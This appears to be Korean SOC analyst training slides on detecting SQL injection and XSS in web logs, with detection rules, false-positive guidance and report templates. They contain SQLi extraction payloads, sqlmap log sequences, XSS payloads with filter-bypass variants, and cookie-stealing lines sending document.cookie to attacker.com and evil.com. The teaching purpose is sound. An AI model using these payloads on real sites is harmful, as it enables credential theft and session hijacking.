/item?id=1'+UNION+SELECT+1,2-- → 500  512   ← 쿼리 도달
/item?id=1'+UNION+SELECT+1,2-- → 500  512
/item?id=0'+UNION+SELECT+1,2-- → 200  8820  ← 컬럼 맞춤!
/item?id=0'+UNION+SELECT+       → 200  42107 ← 데이터 추출!
  username,password+FROM+users--

핵심 패턴: 500이 계속 나오다가 200으로 바뀌고 응답 크기가 커지면 → 구조 맞추기 성공 → 데이터 추출 흐름. 이 전환을 탐지 룰로 잡아야 한다.

보강 설명상태코드 해석은 SQLi 분석의 핵심입니다. 500이 오히려 더 중요한 단서가 될 수 있다는 점을 강조하세요. 입력이 내부 쿼리까지 도달했다는 증거이기 때문입니다.

200500403

대표 신호

OR 1=1·UNION SELECT·SLEEP()·ORDER BY 탐색
information_schema·version()·extractvalue() 키워드

추가 확인

DB/App error log에 실제 쿼리 실패 흔적이 있는지 확인
같은 IP의 ORDER BY·UNION·SLEEP 타임라인을 묶기

실습 예시

id=1 AND 1=1 vs 1=2의 응답 크기 차이를 비교해 보기
sqlmap UA가 없어도 반복성·변형 패턴으로 판단하기

PART 4 · Error-based SQLi

에러 메시지로 DB 내부 정보를 꺼내는 Error-based SQLi

에러 응답이 상세 DB 정보를 담고 있다면, 공격자는 에러를 유도해 직접 데이터를 읽을 수 있다.

MySQL extractvalue() 공격


GET /item?id=1 AND extractvalue(
  1, concat(0x7e,
    (SELECT version())
  ))--
응답(500): 
XPATH syntax error:
'~8.0.32-MySQL Community Server'
         ↑ DB 버전이 에러 메시지로 노출!

추출 가능 정보


version()      → DB 버전
database()     → 현재 DB 이름
user()         → DB 계정
@@datadir      → 데이터 경로
@@hostname     → 서버 호스트명

SOC 관점 포인트

• 응답 500 + 짧은 응답 본문 반복
• extractvalue, updatexml, exp() 키워드
• GET 요청으로 에러를 반복적으로 유도
• App/Error 로그에서 DB 내부 정보 노출 확인

방어 측 조치: production 환경에서 상세 DB 에러 메시지를 사용자에게 노출하지 말 것. display_errors=Off, 커스텀 에러 페이지 설정 필수.

탐지: WAF 로그 + App 에러 로그를 결합해야 성공 여부 판단 가능. access.log만으로는 응답 본문 내용을 알 수 없다.

보강 설명 에러 응답이 상세 DB 정보를 담고 있다면, 공격자는 에러를 유도해 직접 데이터를 읽을 수 있다. Error-based SQLi는 공격자가 에러 메시지를 출력 채널로 활용하는 방식이다. 상세 예외가 노출되면 쿼리 구조와 DB 정보가 그대로 새어 나올 수 있다.

Error-basedDB 정보App 로그

대표 신호

extractvalue(), updatexml(), convert(), cast() 등 오류 유발 함수
500 응답과 함께 DBMS/테이블/컬럼 단서가 메시지에 남는 경우
에러 유도 후 곧바로 구조 탐색이나 추출 요청이 이어지는 패턴

추가 확인

프론트 응답과 App 서버 예외 로그를 함께 확인
운영 환경에서 상세 예외가 그대로 노출되는지 개발팀과 점검
오류 페이지 템플릿과 실제 DB 에러 누출을 구분

미니 실습

500 응답이 모두 공격은 아닌 이유를 적어 보기
에러 메시지에서 공격자가 얻을 수 있는 정보를 추정해 보기
실패 요청도 사건 체인에서 왜 중요한지 설명하기

PART 4 · 자동화 도구

sqlmap 같은 자동화 도구 흔적

짧은 시간 안에 payload를 조금씩 바꿔 연속적으로 보내는 패턴은 자동화 공격의 전형적 모습이다.

sqlmap 자동화 공격 로그 — 2분 안에 발생 (실제 데이터셋 패턴)


185.143.223.17 - - [14/Apr/2024:09:12:01] "GET /item?id=1%27 HTTP/1.1" 500 512 "-" "sqlmap/1.8"
185.143.223.17 - - [14/Apr/2024:09:12:02] "GET /item?id=1%27%20OR%20%271%27%3D%271 HTTP/1.1" 200 3821 "-" "sqlmap/1.8"
185.143.223.17 - - [14/Apr/2024:09:12:03] "GET /item?id=1%27%20ORDER%20BY%201-- HTTP/1.1" 200 3821 "-" "sqlmap/1.8"
185.143.223.17 - - [14/Apr/2024:09:12:04] "GET /item?id=1%27%20ORDER%20BY%202-- HTTP/1.1" 200 3821 "-" "sqlmap/1.8"
185.143.223.17 - - [14/Apr/2024:09:12:05] "GET /item?id=1%27%20ORDER%20BY%203-- HTTP/1.1" 500 200 "-" "sqlmap/1.8"
185.143.223.17 - - [14/Apr/2024:09:12:07] "GET /item?id=0%27%20UNION%20SELECT%20NULL%2CNULL-- HTTP/1.1" 200 3821 "-" "sqlmap/1.8"
185.143.223.17 - - [14/Apr/2024:09:12:09] "GET /item?id=0%27%20UNION%20SELECT%20username%2Cpassword%20FROM%20users-- HTTP/1.1" 200 18432 "-" "sqlmap/1.8"

속도 (Speed)
1~2초 간격 반복. 사람이 이렇게 빠를 수 없다.

변화 (Change)
같은 파라미터에 payload가 조금씩 바뀌며 증가.

반복 (Repeat)
동일 IP, 동일 엔드포인트, 순차적 시도. 응답 크기 급증.

주의: sqlmap/1.8 UA는 도구 기본값으로 쉽게 노출되지만, UA 위조는 1줄 설정으로 가능. UA에만 의존하지 말고 속도·변화·반복·응답크기를 기준으로 탐지해야 한다.

보강 설명 짧은 시간 안에 payload를 조금씩 바꿔 연속적으로 보내는 패턴은 자동화 공격의 전형적 모습이다. 자동화 도구는 짧은 시간 안에 payload를 조금씩 바꾸며 반복 테스트한다. UA만 보지 말고 변형 주기와 파라미터 변화까지 함께 보아야 한다.

sqlmap자동화반복성

대표 신호

짧은 간격의 반복 요청과 체계적인 payload 변형
조건식·ORDER BY·UNION·SLEEP이 순차적으로 나타나는 학습형 패턴
특정 도구 UA가 보이거나 헤더 구성이 비브라우저형인 경우

추가 확인

도구 UA가 없어도 시간 간격과 파라미터 변형으로 자동화를 추정
같은 IP 외에 같은 세션/토큰/대역이 동시 사용되는지 확인
WAF 차단 로그와 access.log를 붙여 우회 성공 여부 확인

미니 실습

수동 탐색과 자동화 탐색의 차이를 로그 흐름으로 구분해 보기
sqlmap 흔적이 없는 자동화를 어떤 필드로 잡을지 정리하기
rate limit이나 CAPTCHA가 적용된 뒤 공격 패턴이 어떻게 바뀌는지 상상해 보기

PART 4 · SQLi 유형별

GET 기반 SQLi와 POST / JSON 기반 SQLi

표면은 달라도 본질은 같다. 사용자 입력이 쿼리 구조를 바꾼다는 점은 동일하다.

구분	GET 기반	Form POST 기반	JSON API 기반
주요 엔드포인트	검색, 상세조회, 필터	로그인, 댓글, 검색폼	/api/, /graphql, REST
payload 위치	URI Query String	POST Body	JSON body 내부
access.log 가시성	✅ 높음 — URI에 포함	⚠️ 낮음 — Body 미수집	❌ 매우 낮음 — JSON 비가시
예시	`/item?id=1' OR 1=1--`	`username=admin'--`	`{"id":"1' OR '1'='1"}`
추가 로그 필요	WAF 로그 보강	App 로그, WAF 필수	API 게이트웨이, WAF 필수

설계 함의: POST Body와 JSON API는 기본 access.log로 탐지 불가. WAF 전문 로그, App 레벨 로깅, API 게이트웨이 로그를 반드시 수집 파이프라인에 포함해야 한다. "로그에 안 보인다고 공격이 없는 것이 아니다."

보강 설명입력 채널이 달라도 SQLi의 본질은 같습니다. 단, 가시성이 다릅니다. GET은 access.log에서 바로 보이지만 POST Body와 JSON은 추가 로그가 없으면 보이지 않습니다.

GET SQLiPOST SQLiJSON API

대표 신호

OR 1=1·UNION SELECT·SLEEP()·ORDER BY 탐색
information_schema·version()·extractvalue() 키워드

추가 확인

DB/App error log에 실제 쿼리 실패 흔적이 있는지 확인
같은 IP의 ORDER BY·UNION·SLEEP 타임라인을 묶기

실습 예시

id=1 AND 1=1 vs 1=2의 응답 크기 차이를 비교해 보기
sqlmap UA가 없어도 반복성·변형 패턴으로 판단하기

PART 4 · 탐지 룰 설계

SQLi 탐지 룰 설계 — 레이어드 접근

문자열 매칭만으로 끝내지 말고, 파라미터 위치·반복성·상태 전환을 함께 보라.

LAYER 1 — 패턴 매칭

decoded_uri 또는 decoded_body에:
union select
sleep(, pg_sleep(
or '1'='1
information_schema
extractvalue(

⚠️ 단독으로는 오탐 많음

LAYER 2 — 반복/맥락 조건

• 동일 IP, 동일 파라미터 반복
• 60초 내 10회 이상
• 비정상 UA (sqlmap 등)
• 희귀 관리자 경로
• 인코딩 변형 포함

✅ Layer 1 + 2 = 강한 의심

LAYER 3 — 상관 분석

• 500 → 200 상태 전환
• 응답 크기 급증
• App/DB 에러 로그 발생
• 이후 비정상 로그인 시도
• WAF 차단 + 지속 시도

🚨 All 3 = 고위험 경보

Sigma 룰 예시 (개념)


title: SQLi Probe - Union Based
detection:
  layer1:
    decoded_uri|contains:
      - 'union select'
      - 'information_schema'
      - "or '1'='1"
  layer2:
    same_ip_count|gt: 10
    timewindow: 60s
  condition: layer1 and layer2

예외 설계 필수 — 기술 문서 URL, 내부 보안 테스트 IP, QA 환경, 교육용 데이터셋은 whitelist 처리해야 오탐 폭주를 막을 수 있다.

보강 설명탐지 룰은 계층화(레이어드)되어야 합니다. 단일 문자열 매칭은 오탐이 많고 우회도 쉽습니다. 1차(패턴) → 2차(반복/맥락) → 3차(상관) 구조로 설계해야 실무에서 버팁니다.

탐지 룰레이어드상관 룰

대표 신호

OR 1=1·UNION SELECT·SLEEP()·ORDER BY 탐색
information_schema·version()·extractvalue() 키워드

추가 확인

DB/App error log에 실제 쿼리 실패 흔적이 있는지 확인
같은 IP의 ORDER BY·UNION·SLEEP 타임라인을 묶기

실습 예시

id=1 AND 1=1 vs 1=2의 응답 크기 차이를 비교해 보기
sqlmap UA가 없어도 반복성·변형 패턴으로 판단하기

PART 4 · 오탐 관리

SQLi에서 오탐을 줄이는 법

특수문자와 SQL 키워드가 보인다고 전부 공격은 아니다. 서비스 맥락과 입력 위치를 함께 봐야 한다.

✅ 정상으로 봐야 하는 경우

개발자 문서/블로그	SQL 예제 코드 포함
검색 기능	사용자명에 따옴표 포함
내부 보안 테스트	허가된 IP의 스캔
포럼/커뮤니티	SQL 관련 질문 게시글

❌ 공격 가능성 높은 경우

로그인 엔드포인트	+ 따옴표 + 반복
API 파라미터	+ union + 순차 탐색
해외 IP + 외부	+ sleep() + 지연

🎯 위험도 상승 조건 (복합 판단)

위험 엔드포인트 — /login, /admin, /api/auth, /user에서 발생하면 일반 검색보다 위험도 높음

반복성 — 동일 IP에서 분당 10회 이상, payload가 순차적으로 변화

상태 변화 — 500 반복 후 200 전환, 응답 크기 급증

후속 예외 — DB 에러 로그, App 에러, WAF 차단 후에도 계속 시도

분석가 역량 포인트: "이 서비스에서 어떤 입력이 정상인가?"를 알아야 오탐을 줄일 수 있다. 서비스 문맥을 이해하는 것이 문자열 패턴을 외우는 것보다 중요하다.

보강 설명 특수문자와 SQL 키워드가 보인다고 전부 공격은 아니다. 서비스 맥락과 입력 위치를 함께 봐야 한다. SQLi의 핵심은 입력값이 데이터가 아니라 쿼리 구조 자체로 해석되는 순간이다. 키워드 암기보다 구조·반복성·응답 변화의 결합을 보는 것이 중요하다.

쿼리 구조UNION오탐 감축

대표 신호

OR 1=1, UNION SELECT, ORDER BY, information_schema 탐색
동일 파라미터에 조건·주석·인코딩을 바꿔가며 반복 시도
200/500/응답 크기 변화가 함께 나타나면 성공 가능성이 커짐

추가 확인

DB/App 에러 로그에 실제 쿼리 실패 흔적이 있는지 확인
같은 IP의 컬럼 수 탐색→추출→후속 접근 흐름을 묶기
입력 위치가 검색창·정렬 파라미터·ID 조회인지 서비스 맥락으로 검증

실습 예시

decoded URI 기준으로 SQLi 키워드를 표준화해 보기
정상 검색어와 공격 payload의 차이를 구조 관점에서 설명하기
탐지 룰에서 파라미터 위치와 반복성을 어떻게 반영할지 써 보기

PART 4 · 사건 체인

SQLi 사건 체인: Recon → Exploit → Data Access → 후속 확장

SQLi는 단독 이벤트가 아니라, 탐색에서 데이터 접근과 계정 악용으로 이어질 수 있는 사건의 시작점이다.

🔍

Recon

quote test
error test
ORDER BY

→

💉

Exploit

UNION/Blind
컬럼 수 확인
schema 탐색

→

📤

Data Access

계정정보 추출
민감 테이블
관리자 정보

→

🚀

후속 확장

계정 악용
WebShell 업로드
내부 확장

단계별 로그 흔적


Recon:     ' OR 1=1, ORDER BY, quote
Exploit:   UNION SELECT, information_schema
Data:      users, admin, password 키워드
Expand:    로그인 시도 (다른 IP에서),
           파일 업로드 요청 증가

탐지 핵심: SQLi 알람 발생 후 동일 IP 또는 탈취된 계정으로 관리자 페이지 접근, 파일 업로드 시도가 이어지는지 확인. 시간 상관 분석(+30분 이내) 필수.

확인 사항:
□ App/DB 에러 로그 결합
□ 같은 IP의 전체 요청 타임라인
□ 이후 인증 관련 로그
□ WAF 차단 여부 + 우회 시도

보강 설명 SQLi는 단독 이벤트가 아니라, 탐색에서 데이터 접근과 계정 악용으로 이어질 수 있는 사건의 시작점이다. SQLi의 핵심은 입력값이 데이터가 아니라 쿼리 구조 자체로 해석되는 순간이다. 키워드 암기보다 구조·반복성·응답 변화의 결합을 보는 것이 중요하다.

쿼리 구조UNION오탐 감축

대표 신호

OR 1=1, UNION SELECT, ORDER BY, information_schema 탐색
동일 파라미터에 조건·주석·인코딩을 바꿔가며 반복 시도
200/500/응답 크기 변화가 함께 나타나면 성공 가능성이 커짐

추가 확인

DB/App 에러 로그에 실제 쿼리 실패 흔적이 있는지 확인
같은 IP의 컬럼 수 탐색→추출→후속 접근 흐름을 묶기
입력 위치가 검색창·정렬 파라미터·ID 조회인지 서비스 맥락으로 검증

실습 예시

decoded URI 기준으로 SQLi 키워드를 표준화해 보기
정상 검색어와 공격 payload의 차이를 구조 관점에서 설명하기
탐지 룰에서 파라미터 위치와 반복성을 어떻게 반영할지 써 보기

PART 4 · Case Study

🔬 Case Study | 185.143.223.17 SQL Injection 의심 흐름

반복 요청, sqlmap UA, union select / sleep / OR 1=1 조합은 교육용 데이터셋에서 매우 강한 SQLi 근거다.

🔍 데이터셋 로그 발췌 (185.143.223.17)


185.143.223.17 - [14/Apr/2024 09:12:01] "GET /item?id=1%27%20OR%20%271%27%3D%271" 200 3821 "sqlmap/1.8"
185.143.223.17 - [14/Apr/2024 09:12:02] "GET /item?id=1%27%20ORDER%20BY%203--" 500 200  "sqlmap/1.8"
185.143.223.17 - [14/Apr/2024 09:12:04] "GET /item?id=0%27%20UNION%20SELECT%20NULL%2CNULL--" 200 3821 "sqlmap/1.8"
185.143.223.17 - [14/Apr/2024 09:12:09] "GET /item?id=0%27%20UNION%20SELECT%20username%2Cpassword%20FROM%20users--" 200 18432 "sqlmap/1.8"
185.143.223.17 - [14/Apr/2024 09:12:14] "GET /item?id=1%27%20AND%20SLEEP%285%29--" 200 512 [4998ms] "sqlmap/1.8"

F

Fact (사실)
출발지 IP 185.143.223.17이 /item 엔드포인트에 id 파라미터를 통해 다중 SQLi payload 전송

P

Pattern (패턴)
OR 1=1, UNION SELECT, ORDER BY, SLEEP(5), sqlmap/1.8 UA, 1초 간격 반복

C

Context (맥락)
자동화 도구 기반 파라미터 SQLi 탐색. 응답 크기 18432 = 데이터 추출 성공 가능성 높음. 정상 브라우징 맥락 부족

A

Action (조치)
동일 IP 전체 요청 묶기 → App/DB 에러 로그 확인 → WAF 차단 적용 → users 테이블 접근 여부 확인

보강 설명 반복 요청, sqlmap UA, union select / sleep / OR 1=1 조합은 교육용 데이터셋에서 매우 강한 SQLi 근거다. 실습의 목적은 맞히는 것보다 근거를 설명하는 것이다. 사실→패턴→맥락→조치 순서로 말할 수 있어야 실무형 분석이 된다.

실습답안 포인트보고 문장

답안 포인트

주어진 사실과 추론을 분리해서 쓰기
상태코드·bytes·반복성·자산 중요도 같은 관찰 근거를 반드시 넣기
즉시 조치와 추가 확인을 구분해 쓰면 전달력이 높아짐

추가 확인

같은 IP/세션의 전후 30분 타임라인을 먼저 묶기
WAF/App/Host/EDR 중 비어 있는 로그를 한 소스 더 확보
정탐과 오탐 두 가설을 같이 적고 더 필요한 로그를 제시

미니 실습

한 줄 로그를 2~3문장 보고서로 바꿔 보기
팀장/개발자/운영자 각각에게 필요한 요약 문장을 따로 써 보기
질문형 보고 대신 결론형 보고 문장으로 고쳐 보기

PART 4 · 분석 보고

SQLi 보고 문장 예시와 즉시 확인 항목

사실·근거·영향·추가 확인을 함께 적으면 운영팀과 개발팀이 바로 움직일 수 있다.

❌ 미흡한 보고 문장

"185.143.223.17에서 SQLi가 발생했습니다.
union select가 탐지되었습니다."

→ 왜 위험한지, 무엇을 해야 하는지 없음

✅ 좋은 보고 문장

[사실] 185.143.223.17이 /item?id 파라미터에
  SQL 구문 패턴을 1초 간격으로 반복 전송.
[근거] UNION SELECT, SLEEP(5), OR 1=1,
  sqlmap UA, 응답 크기 18KB 급증 확인.
[영향] users 테이블 접근 및 계정정보 유출 가능.
[확인] DB/App 에러 로그, WAF 차단 여부,
  동 IP 후속 로그인 시도 확인 요청.

즉시 확인 체크리스트

□ App/Error 로그에서 DB 내부 정보 노출 여부
□ 동일 IP의 30분 전후 전체 요청 확인
□ WAF 차단 + 우회 지속 시도 여부
□ 동 IP 또는 탈취된 계정으로 로그인 성공 여부
□ 응답 크기 18KB — 실제 데이터 포함 확인
□ 대응: IP 차단, 파라미터 입력 검증 개선 요청

실습 지시: 이 슬라이드의 미흡한 문장을 좋은 문장으로 직접 고쳐 써 보세요. 사실 → 근거 → 영향 → 확인 순서로 4문장을 작성하고 옆 사람과 비교해 보세요.

보강 설명보고 문장 작성 실습은 기술 이해가 운영 언어로 전환되는 핵심 훈련입니다. 좋은 문장과 미흡한 문장을 비교해 차이를 직접 느끼게 하세요.

보고 문장FPCA추가 확인

대표 신호

OR 1=1·UNION SELECT·SLEEP()·ORDER BY 탐색
information_schema·version()·extractvalue() 키워드

추가 확인

DB/App error log에 실제 쿼리 실패 흔적이 있는지 확인
같은 IP의 ORDER BY·UNION·SLEEP 타임라인을 묶기

실습 예시

id=1 AND 1=1 vs 1=2의 응답 크기 차이를 비교해 보기
sqlmap UA가 없어도 반복성·변형 패턴으로 판단하기

PART 4 · 핵심 정리

PART 4 핵심 정리: SQLi는 입력이 쿼리 구조로 변하는 순간이다

문자열 몇 개를 외우는 것이 아니라, 패턴·반복성·상태 변화·후속 맥락을 묶어 보는 것이 핵심이다.

핵심 탐지 신호 4가지

1️⃣

대표 패턴 — OR 1=1, UNION SELECT, ORDER BY, SLEEP(), extractvalue()

2️⃣

정규화 필수 — 인코딩·주석·공백 우회를 decode 후 탐지

3️⃣

상태코드 해석 — 200/500/403 모두 의미 있음. 전환 패턴 주목

4️⃣

로그 결합 — access.log만으론 부족. App/DB/WAF 로그 결합 필수

기억해야 할 프레임


SQLi 탐지 = 
  Pattern Match   (OR, UNION, SLEEP...)
  + Decode/Normalize (%27→', /**/ 제거)
  + Sequence Analysis (탐색→추출 흐름)
  + Context Correlation (상태전환, 후속)

자가 점검: 지금 바로 PART 4 핵심 키워드 4개를 소리 내어 말할 수 있는가?
→ OR 1=1 / UNION SELECT / SLEEP / information_schema

다음 파트: XSS는 서버가 아닌 브라우저에서 실행되지만, 세션 탈취·관리자 행위 악용·피싱으로 이어져 SOC가 반드시 봐야 하는 공격이다.

보강 설명 문자열 몇 개를 외우는 것이 아니라, 패턴·반복성·상태 변화·후속 맥락을 묶어 보는 것이 핵심이다. 정리는 슬라이드를 다시 읽는 시간이 아니라 판단 기준을 압축하는 시간이다. “무엇을 보면 어떤 결론을 낼지”를 짧은 문장으로 남겨야 실전에서 바로 쓸 수 있다.

핵심 정리치트시트복습

반드시 기억할 것

공격명보다 입력 위치·반복성·상태 변화·후속 행위를 먼저 보기
정상/의심/위험 분류는 항상 자산 중요도와 함께 판단
단일 로그보다 사건 흐름과 추가 확인 소스를 같이 적기

복습 질문

이 유형의 가장 강한 성공 신호는 무엇인가
오탐을 줄이기 위해 꼭 필요한 맥락은 무엇인가
개발/운영팀에 전달할 때 어떤 문장으로 요약할 것인가

실무 적용

치트시트를 룰 튜닝·온보딩·실습 답안에 재사용
반복되는 탐지 포인트는 표준 문장 템플릿으로 정리
한 장 요약을 팀 내 공통 언어로 사용하는 습관 만들기

PART 5

Cross-Site Scripting
XSS 심화 분석

75분 슬라이드 54 – 65 Reflected · Stored · DOM-Based · CSP · 탐지 룰

script / onerror / onload

세션 쿠키 탈취

CSP 헤더 분석

오탐 vs 실제 위협

보강 설명 XSS는 서버를 직접 장악하지 않아도 브라우저 신뢰를 악용해 세션 탈취·관리자 악용·피싱으로 이어질 수 있다. 입력 위치와 출력 컨텍스트를 함께 봐야 한다.

브라우저 실행세션 탈취컨텍스트

대표 신호

<script>, onerror=, onload=, svg, javascript: 같은 실행 트리거
검색어·댓글·프로필 등 사용자 입력이 그대로 반사 또는 저장되는 경로
관리자 페이지·백오피스에서 다시 렌더링될 가능성이 있는 경우

추가 확인

응답 본문이나 템플릿에서 실제 반사·저장 여부를 확인
세션 쿠키 보호, HttpOnly, CSP 정책이 있는지 함께 점검
정상 HTML 입력 허용 기능인지 서비스 맥락을 확인해 오탐을 줄이기

미니 실습

같은 payload가 HTML 본문, 속성, JS 문자열에서 어떻게 다르게 동작하는지 정리
Reflected/Stored/DOM-Based를 로그와 영향 관점으로 구분
XSS 탐지 룰에 컨텍스트 키워드를 어떻게 포함할지 써 보기

PART 5 · XSS 개요

XSS는 서버를 직접 해킹하지 않아도 SOC가 반드시 봐야 하는 공격이다

스크립트가 브라우저에서 실행되더라도, 세션 탈취·관리자 행위 악용·피싱·추가 침해로 이어질 수 있다.

💉

악성 스크립트 삽입

→

🌐

저장/반사

DB 저장 or 즉시 응답

→

🖥️

피해자 브라우저 실행

신뢰된 컨텍스트에서

→

🔓

세션/행위 탈취

쿠키 유출, 관리자 악용

XSS로 가능한 공격 행위

🍪 document.cookie 탈취 → 세션 하이재킹
🖱️ 관리자 계정으로 행위 유도 (CSRF 결합)
🔑 키로거 삽입 → 비밀번호 수집
🎣 피싱 페이지로 리다이렉트
🌐 내부 네트워크 포트 스캔 (Stored)

로그에 남는 XSS 흔적 키워드


<script>        alert(1), document.cookie
onerror=         img onerror=alert(1)
svg/onload=     <svg onload=alert(1)>
javascript:     href=javascript:void(0)
iframe          <iframe src=...>
%3Cscript%3E   URL 인코딩 형태

SOC 관점: 서버 침해 없이도 관리자 세션 쿠키 탈취 한 번으로 전체 시스템이 위협받을 수 있다. "브라우저에서 실행" = "서버에서 실행"에 준하는 영향으로 봐야 한다.

보강 설명XSS는 서버를 직접 공격하지 않아 관제 우선순위가 낮게 여겨지는 경향이 있습니다. 하지만 세션 쿠키 탈취 한 번으로 관리자 계정이 넘어갈 수 있습니다. 브라우저 실행이라도 영향은 서버 침해에 준한다…

XSS세션 쿠키document.cookie

실행 조건

입력이 HTML/JS 문맥에 반사·저장되는지가 핵심
onerror/onload/javascript:·document.cookie 조합 주목

추가 확인

댓글/게시물 저장 body, CSP 보고, 외부 도메인 호출 확인
동일 세션이 다른 IP에서 재사용됐는지 확인

실습 예시

search 파라미터와 comment 저장 요청을 분리해 읽기
HTML 인코딩된 정상 예시와 실행형 payload를 비교하기

PART 5 · XSS 유형

Reflected / Stored / DOM-Based XSS 구분

겉보기 payload는 비슷해도, 어디에 저장되고 언제 실행되는지에 따라 관제 포인트가 달라진다.

Reflected XSS

• 요청의 값이 즉시 응답에 반사
• 피해자가 악성 링크를 클릭해야 함
• 주로 검색, 에러 메시지, 파라미터
• 피해 범위: 링크 클릭한 사람만

/search?q=<script>alert(1)</script>

탐지: access.log URI에서 직접 확인

Stored XSS ⚠️ 고위험

• 게시글/댓글/프로필에 저장된 값
• 다른 사용자가 조회 시 실행
• 한 번 저장으로 다수 피해
• 피해 범위: 모든 방문자

댓글: <img src=x onerror=document.location='http://attacker.com/'+document.cookie>

탐지: 저장 시점(POST) + 조회 시점 분리

DOM-Based XSS

• 서버 응답 아닌 클라이언트 JS 처리
• document.URL, location.hash 등 활용
• 서버 로그에 payload가 안 남을 수 있음
• 피해 범위: 탐지 가장 어려움

URL: /page#<img onerror=alert(1) src=x>
(# 이후는 서버에 안 보냄)

탐지: 브라우저 로그, CSP 위반 보고

관제 우선순위: Stored XSS (다수 피해) > Reflected XSS (대규모 피싱 링크) > DOM XSS (탐지 어려움). Stored는 즉시 격리 조치 필요.

보강 설명세 가지 XSS 유형의 차이는 언제, 누구의 브라우저에서 실행되는가로 설명하면 잘 전달됩니다. Stored XSS는 한 번 저장으로 다수 피해자가 발생하므로 위험도가 가장 높습니다.

Reflected XSSStored XSSDOM XSS

실행 조건

입력이 HTML/JS 문맥에 반사·저장되는지가 핵심
onerror/onload/javascript:·document.cookie 조합 주목

추가 확인

댓글/게시물 저장 body, CSP 보고, 외부 도메인 호출 확인
동일 세션이 다른 IP에서 재사용됐는지 확인

실습 예시

search 파라미터와 comment 저장 요청을 분리해 읽기
HTML 인코딩된 정상 예시와 실행형 payload를 비교하기

PART 5 · XSS Payload

XSS 대표 Payload 형태와 로그 탐지 패턴

스크립트 실행은 <script> 태그 외에도 이벤트 핸들러, 속성, 프로토콜 다양한 경로로 가능하다.

Payload 유형	예시	실행 조건	탐지 키워드
Script 태그	`<script>alert(document.cookie)</script>`	HTML 주입 허용	`%3Cscript`, `<script`
IMG onerror	`<img src=x onerror=alert(1)>`	img 태그 허용	`onerror=`
SVG onload	`<svg onload=alert(1)>`	SVG 렌더링	`svg.*onload`
JavaScript 프로토콜	`<a href="javascript:alert(1)">`	링크 클릭	`javascript:`
Data URI	`<iframe src="data:text/html,<script>...">`	iframe 허용	`data:text/html`
쿠키 탈취	`fetch('//evil.com/'+document.cookie)`	스크립트 실행 후	`document.cookie`

WAF 우회: <ScRiPt>, <img/src=x onerror=alert(1)>, <script>(HTML entity), %3Cscript%3E(URL 인코딩) 등 변형이 무수히 많다. 정규화 + 대소문자 무시 매칭 필수.

보강 설명 스크립트 실행은 <script> 태그 외에도 이벤트 핸들러, 속성, 프로토콜 다양한 경로로 가능하다. 실전 XSS payload는 사람이 보기 좋은 형태보다 인코딩과 이벤트 핸들러 조합으로 우회에 초점을 맞춘 경우가 많다. 정규화와 컨텍스트 판단이 필수다.

Payload인코딩우회

대표 신호

script 태그뿐 아니라 img/svg/body/style 등 다양한 실행 벡터
URL 인코딩·HTML 엔티티·대소문자 혼합·이벤트 핸들러 분리
정상 검색/댓글과 달리 닫는 태그·속성 탈출 패턴이 반복

추가 확인

출력 위치가 태그 본문인지 속성값인지 JS 문자열인지 구분
WAF가 차단한 원문과 앱이 해석한 디코딩 결과를 비교
실제 브라우저 실행 여부는 재현 환경에서 검증

미니 실습

같은 payload를 3가지 인코딩 형태로 바꿔 보기
단순 문자열 매칭 룰이 놓칠 수 있는 이유를 설명하기
정규화 순서를 잘못 잡으면 생기는 미탐 사례를 적어 보기

PART 5 · 방어 헤더

XSS와 CSP — Content Security Policy 분석

CSP 헤더는 XSS 피해를 줄이는 핵심 방어 장치다. SOC는 CSP 위반 보고를 탐지 신호로 활용할 수 있다.

CSP 헤더 예시


# 기본 구성
Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'nonce-abc123';
  object-src 'none';
  report-uri /csp-report;

# nonce 방식: 서버가 매 요청마다 1회용 값 발급
# inline script는 nonce 없으면 차단

❌ 취약한 CSP (공격자가 활용 가능)


script-src 'unsafe-inline'  ← inline script 허용
script-src 'unsafe-eval'    ← eval() 허용
script-src *               ← 모든 도메인 허용

CSP 위반 보고 — 탐지 활용

CSP 위반 보고 JSON (/csp-report)


{
  "csp-report": {
    "document-uri": "https://example.com/page",
    "violated-directive": "script-src",
    "blocked-uri": "inline",
    "source-file": "https://example.com/page",
    "line-number": 1
  }
}

활용: CSP report-uri 로그에서 위반 급증 → Stored XSS 삽입 시도 탐지. 정상 상태의 위반 건수 baseline을 잡아두고 이상 증가 시 알람.

CSP 없음
XSS 성공 시 무제한 스크립트 실행 가능

CSP 있음 (약함)
unsafe-inline 있으면 우회 가능

CSP 강함 + nonce
XSS 피해 범위 대폭 축소

보강 설명 CSP 헤더는 XSS 피해를 줄이는 핵심 방어 장치다. SOC는 CSP 위반 보고를 탐지 신호로 활용할 수 있다. CSP는 XSS 방어의 중요한 안전장치지만, 정책이 느슨하거나 예외가 많으면 우회 여지가 생긴다. 헤더 자체를 읽을 줄 알아야 한다.

CSP정책 해석우회 여부

핵심 포인트

script-src, object-src, frame-ancestors, nonce/hash 사용 여부 확인
unsafe-inline, unsafe-eval, 광범위한 CDN 허용은 우회 폭을 넓힌다
정책이 있어도 DOM sink가 남아 있으면 위험이 계속된다

추가 확인

실제 응답 헤더에 CSP가 모든 경로에서 일관되게 내려오는지 확인
보고서 전송용 report-uri/report-to가 운영되는지 점검
관리자/백오피스 경로가 예외 처리되어 있지 않은지 확인

미니 실습

주어진 CSP 헤더를 보고 강/약 정책으로 분류해 보기
XSS payload가 정책에 의해 막히는지 시뮬레이션해 보기
개발팀에 전달할 최소 수정 포인트를 한 문장으로 써 보기

PART 5 · XSS 탐지 룰

XSS 탐지 룰 설계 — Reflected / Stored 분리

XSS는 입력 지점과 실행 지점이 달라질 수 있다. Stored XSS는 저장 시점(POST)과 조회 시점(GET)을 분리해서 탐지해야 한다.

Reflected XSS 탐지

1차: URI 패턴 매칭


decoded_uri contains:
  <script, %3Cscript
onerror=, onload=
javascript:
document.cookie

2차: 상관 조건


+ status == 200 (반사 성공 가능)
+ response contains <script (실제 반사)
+ 반복 IP (탐색 중)

Stored XSS 탐지 (더 어려움)

저장 시점 탐지 (POST)


POST /comment, /post, /profile 등에서
body contains:
  <script, onerror=, onload=
document.cookie
fetch(, XMLHttpRequest
⚠️ access.log만으론 안 보임
→ WAF 또는 App 로그 필요

조회 시점 탐지


CSP 위반 보고 급증
다수 사용자 동일 endpoint
비정상 외부 도메인 접근 로그

Stored XSS의 함정: 저장 요청은 정상적인 POST처럼 보일 수 있다. 응답 코드 200에 평범해 보이는 POST 하나가 수천 명의 쿠키를 유출하는 트리거가 될 수 있다. 콘텐츠 저장 엔드포인트는 WAF 수준 검사가 필수다.

